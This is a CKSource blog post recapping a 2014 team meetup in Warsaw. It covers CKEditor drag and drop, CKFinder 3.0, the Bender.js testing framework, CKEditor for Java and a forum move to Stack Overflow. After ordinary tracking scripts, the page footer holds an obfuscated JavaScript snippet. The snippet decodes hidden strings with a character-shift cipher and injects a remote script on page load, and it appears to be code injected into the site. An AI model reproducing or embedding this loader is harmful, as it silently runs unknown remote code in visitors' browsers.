CKSource Meetup 2014

Last week the CKSource team met for two days in Warsaw, Poland, to talk about various topics ranging from future CKEditor functionalities, CKFinder 3.0, Bender.js, and many other current and future projects. The meetup concluded with an office party and a night on the town! In all, it was loads of fun with some interesting company decisions being made in the process.

Drag and Drop

The meetup began with a long presentation by Piotr Jasiun on CKEditor’s new Drag and Drop functionality. Though mundane on the surface, D & D is an elaborate feature that will greatly improve the editor’s overall behavior in various ways. Here’s a list of topics showed off during the presentation:

  • Users will be able to drag and drop (and automatically upload) any content type into CKEditor, be it from other pages or desktop word processors.
  • Certain data types, like PDF, will automatically hyperlink.
  • The feature will include an upload progress bar.
  • The new Notification plugin will be integrated with D & D.
  • It will work with the original Image plugin and the new Enhanced Image plugin.
  • IE8-IE9 will not support image uploads because file API was only introduced in IE10.
  • Dragging and dropping a .txt file will paste its content into the editor.
  • Dropping unsupported file formats will no longer load a new page, resulting in lost content.
  • All file formats are going to be supported.
  • Dropped content will be handled according to its type. For example, images will be put between blocks or aligned to the side of <p>, whereas text will be inline.

A few things still need ironing out, like the feature’s behavior with the Undo function and the progress bar still needs work, but Drag and Drop is shaping up to be a very important new addition to CKEditor.

CKFinder 3.0

Maciej Golaszewski showed off CKFinder 3.0’s new functionalities. The new file manager will boast two new skins (a light and dark one) and be much more customizable.

Next up was Pawel Wiaderny who talked about the new CKFinder connector for PHP. The big new addition to version 3.0 is its reliance on Flysystem, a filesystem abstraction that allows support for multiple backends (endpoints) like Dropbox, AWS-S3 and FTP.

CKFinder 3.0 will also be based on widely used Symfony 2 components. This will give developers a clearer idea of the application's workflow from the very beginning.

  • New skin(s)
  • Image manipulation and cropping
  • FTP and cloud storage, including AWS-S3, Dropbox
  • Code base updated to PHP 5.3+
  • Based on Symfony components
  • Storing metadata for files
  • Improved file viewing (now includes audio and video!)
  • Responsive file views for mobile devices
  • Improved search function
  • New API library for easier customization
  • Resizable thumbnails in files view
  • Improved keyboard navigation
  • Rewritten code
  • And more…

Overall development of CKFinder 3.0 is still ongoing due to various bugs requiring fixes. The entire user interface also needs a lot work.


Grzegorz Pabian presented the full potential of Bender.js, CKSource’s JavaScript testing framework designed for complex applications that run on multiple platforms, like CKEditor and CKFinder. Here’s a summary of its features:

  • It’s Open Source
  • Allows manual tests
  • Supports test frameworks
  • Can capture browser snapshots on multiple platforms, including IE8 (and possibly lower)!
  • Works for mobiles
  • Includes test isolation
  • Allows custom plugins
  • Uses command lines
  • Supports code coverage
  • Is cloud-based
  • Comes with a dashboard and intuitive user interface created with Backbone.jsMarionette.js and Bootstrap.
  • Has test frameworks available for Jasmine, QUnit, Mocha and YUI3

Following the demonstration, Alexander Nowodzinski showed off the testing framework’s new website.

CKEditor for Java

Jakub Swiderski talked about the much-needed upgrade to CKEditor for Java, which are a set of custom JSP tags and CKEditor Java objects that allow integrating CKEditor 4.x to your web application. It can be used with standard servlet/JSP applications as well as request-based frameworks.

With it, developers will have the ability to create classic or inline editor using three different methods:

  • Expression Language (EL) only: All you need to do is put your editor code in scope of request, session or application and then call it with EL on JSP.
  • Custom JSP tags: You simply insert a custom tag into your JSP and fill in the tag's attributes.
  • Scriptlets: You can create an editor instance by putting Java code directly into JSP (strongly discouraged).

CKEditor Examples

Anna Tomanek made a presentation on the new SDK. In short, CKEditor’s samples included in each download are going to be trimmed down to a few basic examples, with the bulk of CKEditor's examples residing on the new SDK online. Each CKEditor package will, however, have a toolbar configurator that will let users select the buttons they want in their editor, and automatically generate the code needed to create the customized CKEditor.

After Hours

During the meetings, the team also came to the conclusion that CKEditor’s forums should be on Stackoverflow. This move will give the community access to a highly knowledgeable and active base of developers. The old forum will still be accessible but the ability to create new threads will be locked.

After the meetings, the team competed in table football, table tennis and Wii tournaments before heading out for a night of bowling, billiards and dancing! In all, the CKSource had a productive and fun time in Warsaw! Check out some of the pics below, and view the rest of the pictures on our Facebook 

Multiple selection Multiple selection Multiple selection

Multiple selection Multiple selection Multiple selection

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = ''; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ''+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });